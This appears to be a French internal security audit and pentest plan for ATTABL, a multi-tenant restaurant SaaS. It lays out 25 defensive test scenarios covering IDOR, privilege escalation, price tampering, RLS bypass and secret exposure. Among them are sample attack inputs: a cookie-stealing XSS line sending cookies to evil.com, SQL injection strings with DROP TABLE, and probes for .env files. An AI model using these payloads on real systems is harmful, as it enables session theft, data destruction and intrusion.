

ATTABL

Audit Securite & Scenarios de Penetration

25 scenarios de test - Classe par severite

Mars 2026

1. Etat des lieux securite

Audit realise sur la base du code source. Voici ce qui est en place et ce qui manque.

Controle	Statut	Detail
Auth (Supabase Auth)	OK	getUser() partout (pas getSession). OAuth + email/password.
Rate limiting (Upstash Redis)	OK	19+ limiteurs. Sliding window. Toutes les routes publiques.
Validation Zod	OK	Toutes les API routes et server actions validees.
Isolation multi-tenant	OK	tenant_id derive du serveur, jamais du client. RLS actif.
Verification prix serveur	OK	Les prix des commandes sont reverifies cote serveur.
Headers securite	OK	X-Frame-Options, HSTS, CSP, nosniff, Permissions-Policy.
Upload fichiers	OK	Whitelist MIME, 5MB max, UUID aleatoire, bucket whitelist.
Stripe webhooks	OK	Signature verifiee. Idempotence.
Logging + Sentry	OK	Logger centralise. Pas de console.* en production.
CORS explicite	ABSENT	Repose sur les defaults Supabase/Next.js.
CSP nonce-based	PARTIEL	unsafe-inline necessaire pour Stripe. A surveiller.
Rate limit fail-hard	FAIBLE	Si Redis down, le rate limiting est desactive silencieusement.
Portail client Stripe	ABSENT	Pas de gestion carte/cancel par le client.

2. Scenarios CRITIQUES

Ces scenarios testent les failles qui pourraient compromettre les donnees de TOUS les tenants.

SC-01 : Cross-Tenant Data Access (IDOR)

Severite : CRITIQUE

Un attaquant authentifie sur tenant-A essaie d'accéder aux données de tenant-B.

Etapas d'attaque :

1. Créer 2 comptes sur 2 tenants différents (tenant-a.attabl.com et tenant-b.attabl.com)
2. Se connecter sur tenant-a
3. Intercepter une requête API (ex: GET /api/orders) avec Burp Suite ou les DevTools
4. Modifier le header x-tenant-slug pour "tenant-b"
5. Envoyer la requête modifiée
6. Tenter aussi en modifiant directement le paramètre [site] dans l'URL : /sites/tenant-b/admin/orders
7. Tenter d'accéder aux items de menu de tenant-b via l'API publique avec le slug de tenant-b

Resultat attendu (si securise) :

Erreur 403 ou 404. Aucune donnée de tenant-b ne doit être retournée. Le RLS Supabase + la vérification serveur doivent bloquer.

Fichiers a verifier :

- src/app/api/orders/route.ts
- src/middleware.ts
- Supabase RLS policies

SC-02 : Elevation de privilege (Staff -> Admin -> Owner)

Severite : CRITIQUE

Un utilisateur staff essaie de s'attribuer des permissions admin ou owner.

Etapas d'attaque :

1. Créer un utilisateur staff sur un tenant
2. Intercepter la requête POST /api/permissions ou les server actions admin
3. Modifier le body pour changer son propre role de "staff" a "owner"
4. Tenter d'accéder aux endpoints admin-only (DELETE user, modify settings)
5. Tenter de créer un autre admin via POST /api/invitations avec role "owner"

Resultat attendu (si securise) :

Erreur 403. Seul le role "owner" peut modifier les permissions. Le serveur derive le role de la session, pas du body.

Fichiers a verifier :

- src/app/api/permissions/route.ts
- src/app/actions/admin.ts
- src/services/plan-enforcement.service.ts

SC-03 : Fraude de prix (Price Tampering)

Severite : **CRITIQUE**

Un client modifie les prix des articles dans sa commande avant de l'envoyer.

Etapas d'attaque :

1. Ouvrir le menu QR d'un tenant
2. Ajouter des articles au panier
3. Interceptor la requete POST /api/orders avec les DevTools/Burp
4. Modifier le prix des items dans le body JSON (ex: 5000 XAF -> 100 XAF)
5. Envoyer la commande modifiee
6. Verifier si le total en base correspond au prix reel ou au prix modifie

Resultat attendu (si securise) :

Le serveur recalcule les prix a partir de la base de donnees. Le prix envoye par le client est IGNORE. La commande est creee avec les vrais prix.

Fichiers a verifier :

- src/app/api/orders/route.ts
- src/services/order.service.ts

SC-04 : Injection SQL via Supabase SDK

Severite : **CRITIQUE**

Tenter d'injecter du SQL via les parametres de requete.

Etapas d'attaque :

1. Sur le menu public, intercepter les requetes de recherche ou de filtrage
2. Injecter du SQL dans les parametres : slug = "tenant-a"; DROP TABLE tenants; --"
3. Tenter via le champ de recherche d'items si disponible
4. Tenter via les parametres de l'URL : /sites/tenant-a%27%3BDROP%20TABLE/menu
5. Tenter via le body JSON des commandes : item_id = "1; DELETE FROM menu_items"

Resultat attendu (si securise) :

Le SDK Supabase utilise des requetes parametrees. L'injection est impossible. Erreur 400 ou 404.

Fichiers a verifier :

- src/lib/supabase/server.ts
- src/app/api/orders/route.ts

SC-05 : Vol du Service Role Key**Severite : CRITIQUE**

Verifier que la cle service_role n'est JAMAIS exposee cote client.

Etapas d'attaque :

1. Ouvrir les DevTools > Network sur n'importe quelle page
2. Rechercher "service_role" ou "SUPABASE_SERVICE_ROLE_KEY" dans les headers, responses, et cookies
3. Inspecter le code source JS bundle (View Source) pour chercher la cle
4. Verifier que le fichier .env.local n'est pas servi par Next.js
5. Scanner les headers de reponse pour des fuites d'info serveur

Resultat attendu (si securise) :

La cle service_role ne doit apparaitre NULLE PART cote client. Seule NEXT_PUBLIC_SUPABASE_ANON_KEY est visible.

Fichiers a verifier :

- src/lib/supabase/admin.ts
- src/lib/supabase/client.ts
- .env.local

3. Scenarios HAUTE severite

SC-06 : Bypass Rate Limiting

Severite : HAUTE

Un attaquant tente de contourner le rate limiting pour faire du brute force.

Etapes d'attaque :

1. Envoyer 100 requetes POST /api/signup en boucle depuis la meme IP
2. Si bloque : changer le header x-forwarded-for a chaque requete (IP spoofing)
3. Si bloque : utiliser x-real-ip avec des IPs differentes
4. Tenter depuis un VPN avec des IPs tournantes
5. Tester quand UPSTASH_REDIS_REST_URL n'est pas configure (le rate limiting se desactive)

Resultat attendu (si securise) :

Les requetes sont bloquees apres le seuil (5 signups / 10 min). Le spoofing d'IP via headers ne doit PAS contourner le limiteur si le reverse proxy (Vercel) gere correctement les headers.

Fichiers a verifier :

- src/lib/rate-limit.ts
- Vercel config

SC-07 : Stripe Webhook Replay Attack

Severite : HAUTE

Un attaquant rejoue un webhook Stripe pour crediter un abonnement sans paiement.

Etapes d'attaque :

1. Capturer un webhook Stripe valide (checkout.session.completed)
2. Rejouer exactement le meme payload 10 minutes plus tard
3. Modifier le payload (ex: changer le plan) et renvoyer avec la meme signature
4. Envoyer un webhook avec une signature invalide
5. Envoyer un webhook sans le header stripe-signature

Resultat attendu (si securise) :

Le webhook rejoue est rejete (idempotence). Le webhook modifie est rejete (signature invalide). Sans signature, erreur 400.

Fichiers a verifier :

- src/app/api/webhooks/stripe/route.ts

SC-08 : Upload de fichier malveillant**Severite : HAUTE**

Un attaquant uploade un fichier executable deguise en image.

Etapas d'attaque :

1. Preparer un fichier malware.exe renomme en photo.png
2. Modifier le Content-Type a "image/png" dans la requete
3. Envoyer via POST /api/upload
4. Tenter avec un SVG contenant du JavaScript (<script>alert(1)</script>)
5. Tenter avec un fichier .html renomme en .jpg
6. Tenter un fichier de 50MB (depassement de la limite 5MB)
7. Tenter avec un bucket non-whitelist (ex: bucket = "private-data")

Resultat attendu (si securise) :

Le serveur valide le MIME type reel (pas seulement l'extension). Les SVG et HTML sont rejetes. Le bucket whitelist bloque les buckets non-autorises. La limite de taille est respectee.

Fichiers a verifier :

- src/app/api/upload/route.ts

SC-09 : XSS via contenu de menu**Severite : HAUTE**

Un admin injecte du JavaScript dans le nom/description d'un plat, visible par les clients.

Etapas d'attaque :

1. Se connecter comme admin d'un tenant
2. Creer un item de menu avec le nom : <script>document.location="https://evil.com?c="+document.cookie</script>
3. Creer un item avec la description :
4. Verifier si le script s'execute quand un client consulte le menu QR
5. Tenter aussi dans les noms de categories, les notes de commande, les noms de tables

Resultat attendu (si securise) :

React echappe automatiquement le contenu rendu. Le script s'affiche comme texte brut, il ne s'execute pas. Verifier qu'aucun dangerouslySetInnerHTML n'est utilise avec du contenu dynamique.

Fichiers a verifier :

- src/components/tenant/ (tous les composants menu)

- src/app/sites/[site]/

SC-10 : Clickjacking

Severite : **HAUTE**

Un attaquant embarque le dashboard ATTABL dans une iframe sur un site malveillant.

Etapes d'attaque :

1. Creer une page HTML avec : `<iframe src="https://tenant.attabl.com/admin"></iframe>`
2. Ouvrir cette page dans un navigateur
3. Verifier si le dashboard s'affiche dans l'iframe
4. Tenter aussi avec X-Frame-Options: SAMEORIGIN au lieu de DENY

Resultat attendu (si securise) :

L'iframe est bloquee. X-Frame-Options: DENY empeche tout embedding. Le dashboard ne s'affiche pas.

Fichiers a verifier :

- next.config.mjs (security headers)

4. Scenarios MOYENNE severite

SC-11 : Enumeration de tenants

Severite : **MOYENNE**

Un attaquant essaie de decouvrir tous les sous-domaines actifs.

Etapas d'attaque :

1. Scanner les sous-domaines : test.attabl.com, restaurant.attabl.com, hotel.attabl.com...
2. Observer les reponses HTTP (200 vs 404 vs redirect)
3. Lister les tenants actifs en analysant les differences de reponse
4. Scraper les menus publics pour collecter les noms/adresses des restaurants

Resultat attendu (si securise) :

Les menus publics sont par nature accessibles (c'est le QR code). Mais le dashboard admin doit retourner la meme reponse (redirect vers login) que le tenant existe ou non. Pas de difference observable entre tenant existant et inexistant.

Fichiers a verifier :

- src/middleware.ts
- src/app/sites/[site]/page.tsx

SC-12 : Session Hijacking / Cookie Theft

Severite : **MOYENNE**

Un attaquant vole le cookie de session d'un admin.

Etapas d'attaque :

1. Connecter un admin sur un reseau Wi-Fi public
2. Sniffer le trafic reseau avec Wireshark
3. Rechercher les cookies Supabase dans les requetes HTTP
4. Tenter de rejouer le cookie depuis un autre navigateur
5. Verifier les attributs des cookies : Secure, HttpOnly, SameSite

Resultat attendu (si securise) :

HSTS force HTTPS (pas de sniffing possible). Les cookies Supabase ont Secure + HttpOnly + SameSite=Lax. Le replay depuis un autre navigateur devrait echouer si la session est liee au device.

Fichiers a verifier :

- src/lib/supabase/server.ts
- src/lib/supabase/middleware.ts

SC-13 : Brute Force Login

Severite : MOYENNE

Un attaquant tente de deviner le mot de passe d'un admin.

Etapes d'attaque :

1. Cibler un email admin connu (ex: admin@restaurant.com)
2. Envoyer 1000 tentatives de connexion avec des mots de passe differents
3. Verifier si le rate limiting bloque apres N tentatives
4. Verifier si le message d'erreur distingue "email inconnu" vs "mauvais mot de passe" (aide l'attaquant)

Resultat attendu (si securise) :

Le rate limiting bloque apres le seuil. Le message d'erreur est generique ("Identifiants incorrects") sans distinguer email/password.

Fichiers a verifier :

- src/lib/rate-limit.ts (authLimiter)
- Supabase Auth config

SC-14 : Manipulation des commandes apres soumission

Severite : MOYENNE

Un client tente de modifier ou supprimer une commande deja envoyee en cuisine.

Etapes d'attaque :

1. Passer une commande normalement
2. Interceper l'ID de la commande dans la reponse
3. Tenter un PUT /api/orders/{id} pour modifier les items
4. Tenter un DELETE /api/orders/{id}
5. Verifier si un client peut annuler la commande d'un autre client au meme tenant

Resultat attendu (si securise) :

Les commandes soumisees ne sont pas modifiables par le client. Seul l'admin peut supprimer via server action avec verification de permissions.

Fichiers a verifier :

- src/app/api/orders/route.ts
- src/app/actions/orders.ts

SC-15 : Abus de l'essai gratuit**Severite : MOYENNE**

Un utilisateur cree des comptes multiples pour profiter indefiniment de l'essai 14 jours.

Etapas d'attaque :

1. Creer un compte avec email1@gmail.com -> essai 14 jours
2. A l'expiration, creer un nouveau compte avec email2@gmail.com
3. Importer le meme menu, le meme QR code
4. Repeter indefiniment
5. Tenter avec des alias Gmail (email+1@gmail.com, email+2@gmail.com)

Resultat attendu (si securise) :

Difficile a bloquer completement. Mitigations possibles : limiter par telephone (verification SMS), par adresse IP, ou par empreinte navigateur. Pour le MVP, accepter le risque - ces cas sont rares et couteux en temps pour l'abuseur.

Fichiers a verifier :

- src/app/api/signup/route.ts
- src/services/signup.service.ts

SC-16 : Denial of Service (DoS) sur les commandes**Severite : MOYENNE**

Un attaquant envoie des milliers de fausses commandes pour surcharger un restaurant.

Etapas d'attaque :

1. Cibler le menu public d'un tenant (QR code)
2. Ecrire un script qui envoie 1000 commandes POST /api/orders en boucle
3. Avec des items valides et des prix corrects
4. Le restaurant recoit 1000 commandes bidon sur son KDS

Resultat attendu (si securise) :

Le rate limiting (orderLimiter: 20/min) devrait bloquer apres 20 commandes. Mais si l'attaquant utilise des IPs differentes, le rate limiting par IP ne suffit pas. Mitigation supplementaire : CAPTCHA sur les commandes publiques ou validation par numero de table.

Fichiers a verifier :

- src/lib/rate-limit.ts
- src/app/api/orders/route.ts

5. Scenarios BASSE severite

SC-17 : Information Disclosure dans les erreurs

Severite : BASSE

Les messages d'erreur revelent des informations techniques (stack traces, versions, chemins).

Etapes d'attaque :

1. Envoyer des requetes malformees a chaque API route
2. Envoyer un JSON invalide, un body vide, des types incorrects
3. Verifier si les reponses d'erreur contiennent des stack traces
4. Verifier si les headers revelent la version de Next.js ou Node.js

Resultat attendu (si securise) :

Les erreurs retournent un message generique en production. Pas de stack trace. Les headers x-powered-by sont desactives.

Fichiers a verifier :

- next.config.mjs
- Sentry error handling

SC-18 : CSRF sur les Server Actions

Severite : BASSE

Un site malveillant declenche une action (suppression de menu) au nom de l'admin connecte.

Etapes d'attaque :

1. Creer une page malveillante avec un formulaire hidden qui POST vers une server action ATTABL
2. L'admin visite la page malveillante pendant qu'il est connecte a ATTABL
3. Le formulaire se soumet automatiquement

Resultat attendu (si securise) :

Les Server Actions Next.js incluent un token CSRF automatique. SameSite=Lax sur les cookies empeche l'envoi du cookie depuis un domaine tiers.

Fichiers a verifier :

- src/app/actions/
- src/lib/supabase/server.ts

SC-19 : Fuite d'emails via les invitations**Severite : BASSE**

Un attaquant utilise le systeme d'invitation pour verifier si un email existe.

Etapas d'attaque :

1. Envoyer POST /api/invitations avec un email cible
2. Observer la reponse : "Invitation envoyee" vs "Cet email a deja un compte"
3. Utiliser pour enumerer les emails des utilisateurs ATTABL

Resultat attendu (si securise) :

La reponse doit etre identique dans les 2 cas. Pas de distinction entre email existant et inexistant.

Fichiers a verifier :

- src/app/api/invitations/route.ts

SC-20 : Token d'invitation expose**Severite : BASSE**

Les tokens d'invitation sont visibles dans les reponses API.

Etapas d'attaque :

1. Creer une invitation via le dashboard admin
2. Intercepter la reponse API
3. Verifier si le token d'invitation est present dans la reponse
4. Si oui : un attaquant ayant acces au reseau peut voler l'invitation

Resultat attendu (si securise) :

Le code supprime deja le champ token avant de retourner la reponse (strip du token). Verifier que c'est bien le cas.

Fichiers a verifier :

- src/app/api/invitations/route.ts

6. Scenarios Base de donnees (Supabase/PostgreSQL)

SC-21 : Bypass RLS (Row Level Security)

Severite : CRITIQUE

Verifier que le RLS ne peut pas etre contourné pour accéder aux données d'autres tenants.

Etapes d'attaque :

1. Se connecter avec le anon key (cle publique Supabase)
2. Tenter une requete directe : `supabase.from("tenants").select("*")`
3. Tenter : `supabase.from("menu_items").select("*").eq("tenant_id", "autre-tenant-id")`
4. Tenter : `supabase.from("orders").select("*")` sans filtre tenant_id
5. Verifier que le RLS est actif sur TOUTES les tables multi-tenant

Resultat attendu (si securise) :

Le RLS bloque toute requete qui ne correspond pas au tenant de l'utilisateur connecte. La requete retourne un resultat vide (pas une erreur) - c'est le comportement Supabase standard.

Fichiers a verifier :

- Supabase Dashboard > Policies
- `src/lib/supabase/client.ts`

SC-22 : Acces direct a la base via anon key

Severite : HAUTE

Un attaquant utilise la cle anon (visible dans le code client) pour interroger la base directement.

Etapes d'attaque :

1. Extraire NEXT_PUBLIC_SUPABASE_URL et NEXT_PUBLIC_SUPABASE_ANON_KEY du code source
2. Utiliser le SDK Supabase dans un script externe
3. Tenter des SELECT, INSERT, UPDATE, DELETE sur toutes les tables
4. Tenter de creer un nouvel utilisateur admin
5. Tenter d'accéder a la table admin_users avec `is_super_admin = true`

Resultat attendu (si securise) :

La cle anon ne donne acces qu'aux données autorisées par le RLS. Sans authentification, seules les données publiques (menus) sont accessibles. Les tables sensibles (admin_users, orders, settings) sont protégées.

Fichiers a verifier :

- Supabase RLS policies
- src/lib/supabase/client.ts

SC-23 : Data exfiltration via les menus publics

Severite : MOYENNE

Un concurrent scrape tous les menus et prix de tous les restaurants ATTABL.

Etapes d'attaque :

1. Scanner les sous-domaines ATTABL
2. Pour chaque tenant actif, scraper le menu public (GET /sites/{slug}/menu)
3. Collecter les noms de plats, descriptions, prix, photos
4. Construire une base de donnees concurrentielle

Resultat attendu (si securise) :

Les menus publics sont accessibles par design (c'est le QR code). Le rate limiting atténuer le scraping massif. Pour aller plus loin : Cloudflare Bot Protection ou verification Turnstile.

Fichiers a verifier :

- src/app/sites/[site]/page.tsx
- src/lib/rate-limit.ts

7. Scenarios Infrastructure

SC-24 : DDoS sur l'application

Severite : **HAUTE**

Attaque par deni de service distribue sur le SaaS.

Etapes d'attaque :

1. Envoyer des milliers de requetes simultanees sur attabl.com
2. Cibler les endpoints lourds (recherche, analytics, export)
3. Cibler les webhooks Stripe (pour bloquer les paiements)
4. Verifier la resilience de Vercel Edge Network

Resultat attendu (si securise) :

Vercel inclut une protection DDoS de base. Le rate limiting Upstash protege les endpoints. Pour les gros volumes : activer Vercel Firewall ou Cloudflare en frontal.

Fichiers a verifier :

- Vercel Dashboard > Firewall
- src/lib/rate-limit.ts

SC-25 : Exposition des variables d'environnement

Severite : **CRITIQUE**

Les secrets serveur sont exposes via une misconfiguration.

Etapes d'attaque :

1. Acceder a /.env, /.env.local, /.env.production depuis le navigateur
2. Acceder a /api/.env ou /api/config
3. Inspecter les headers de reponse pour des fuites
4. Verifier que les variables NEXT_PUBLIC_ ne contiennent pas de secrets
5. Verifier le code source JS bundle pour des cles privees

Resultat attendu (si securise) :

Next.js ne sert pas les fichiers .env. Seules les variables prefixees NEXT_PUBLIC_ sont embedees dans le bundle client. Verifier que STRIPE_SECRET_KEY, SUPABASE_SERVICE_ROLE_KEY, RESEND_API_KEY ne sont PAS prefixees NEXT_PUBLIC_.

Fichiers a verifier :

- .env.local
- next.config.mjs

8. Outils de test recommandes

Outil	Usage	Gratuit
Burp Suite Community	Intercepter et modifier les requetes HTTP. Indispensable pour les tests IDOR, price tampering, injection.	Oui
OWASP ZAP	Scanner automatique de vulnerabilites web. Detecte XSS, injection, headers manquants.	Oui
Stripe CLI	Tester les webhooks en local : stripe listen --forward-to localhost:3000/api/webhooks/stripe	Oui
DevTools (Chrome/Firefox)	Inspecter les requetes, cookies, headers, code source. Premier outil de test.	Oui
curl / httpie	Envoyer des requetes manuelles. Tester les edge cases, les payloads malformes.	Oui
Nuclei	Scanner de vulnerabilites avec des templates. Detecte les misconfigs, les CVE connus.	Oui
sqlmap	Test automatique d'injection SQL. Meme si Supabase parametrise, bon de verifier.	Oui

9. Ordre de test recommande

Priorite	Scenarios	Temps estime
1 - Urgent	SC-01 (IDOR), SC-02 (Privilege), SC-03 (Prix), SC-05 (Service Key), SC-21 (RLS), SC-25 (Env vars)	1-2 jours
2 - Important	SC-06 (Rate limit), SC-07 (Webhook replay), SC-08 (Upload), SC-09 (XSS), SC-22 (Anon key)	1-2 jours
3 - Moyen	SC-10 (Clickjack), SC-11 (Enum), SC-12 (Session), SC-13 (Brute force), SC-14 (Orders), SC-16 (DoS)	1 jour
4 - Bas	SC-15 (Trial abuse), SC-17 (Info disclosure), SC-18 (CSRF), SC-19 (Email enum), SC-20 (Token), SC-23 (Scraping)	0.5 jour
5 - Infra	SC-24 (DDoS)	Selon budget

Document genere le 17 mars 2026. 25 scenarios - A executer avant mise en production.